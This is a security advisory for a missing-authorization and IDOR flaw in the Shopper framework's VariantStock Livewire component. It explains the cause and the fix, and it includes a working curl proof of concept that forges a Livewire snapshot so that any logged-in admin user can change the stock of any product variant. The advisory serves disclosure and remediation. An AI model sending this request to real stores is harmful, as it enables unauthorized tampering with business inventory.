CVE-2026-56829: Shopper VariantStock Missing Authorization
Any logged-in Shopper admin panel user, even one with read-only permissions, can silently adjust inventory levels for any product variant in the database by tampering with a single unprotected…

The problem
The VariantStock Livewire component in packages/admin/src/Livewire/Components/Products/VariantStock.php declares public $variant with no #[Locked] attribute. Livewire trusts client-supplied component state, so an attacker can swap that value to any variant ID in the database, not just the one the page rendered.
The stockAction() method returns a Filament Action with no ->authorize(...) call. A browse-only staff member holding only browse_products can invoke the action and mutate stock. The two flaws combine into a single request: forge the variant ID and call the action, bypassing both the RBAC gate and the IDOR boundary.
Proof of concept
A working proof-of-concept for CVE-2026-56829 in shopper/framework, with the exact payload below.
# Prerequisites: valid laravel_session + XSRF-TOKEN cookies from any admin-panel login.
# COMPONENT_ID comes from the Livewire snapshot embedded in the product variant page source.
# VARIANT_ID can be any integer ID in the product_variant table.
curl -s -X POST http://TARGET/shopper/livewire/update \
-H 'Content-Type: application/json' \
-H 'X-Livewire: 1' \
-H 'X-XSRF-TOKEN: <url-decoded-xsrf-token>' \
-H 'Cookie: laravel_session=<session-value>' \
-d '{
"components": [{
"snapshot": "{\"id\":\"<COMPONENT_ID>\",\"data\":{\"variant\":42},\"checksum\":\"...\"}",
"updates": {},
"calls": [{
"path": "",
"method": "callAction",
"params": ["stock", {"inventory": 1, "quantity": 999}]
}]
}]
}'
# Returns HTTP 200; variant 42 stock is now incremented by 999 regardless of caller role.Livewire serialises public component properties into a signed snapshot, but the signature only covers the shape of the data, not the values, when #[Locked] is absent. Replacing "variant": <original_id> with any other integer in the snapshot.data object is therefore accepted as valid.
This is a textbook IDOR (CWE-639) layered on top of Missing Authorization (CWE-862).
The patch adds #[Locked] to $variant, which makes Livewire reject any client-side change to that property, and adds ->authorize('edit_product_variants') to the stockAction() return chain, enforcing the permission gate before the mutation runs. Both changes are required independently: #[Locked] alone still lets a low-privilege user call the action on the variant they legitimately see, and ->authorize() alone still lets an authorised user retarget an arbitrary variant.
The fix
Upgrade composer/shopper/framework to version 2.9.2 or later. The patch adds #[Livewire\Attributes\Locked] to the $variant property and ->authorize('edit_product_variants') to the stockAction() definition in packages/admin/src/Livewire/Components/Products/VariantStock.php.
Reported by Vishal Shukla (@therawdev / @shukla304).
Related research
- high · 8.8CVE-2026-56828CVE-2026-56828: shopper/framework Privilege Escalation via Livewire Misconfigured Authorization
- high · 8.1CVE-2026-56825CVE-2026-56825: Shopper CollectionProducts Missing Authorization
- high · 8.1CVE-2026-56827CVE-2026-56827: Shopper Framework Missing Authorization on Filament Bulk Actions
- high · 8.1CVE-2026-81892CVE-2026-81892: EasyAdmin Custom-Action Dispatcher Authorization Bypass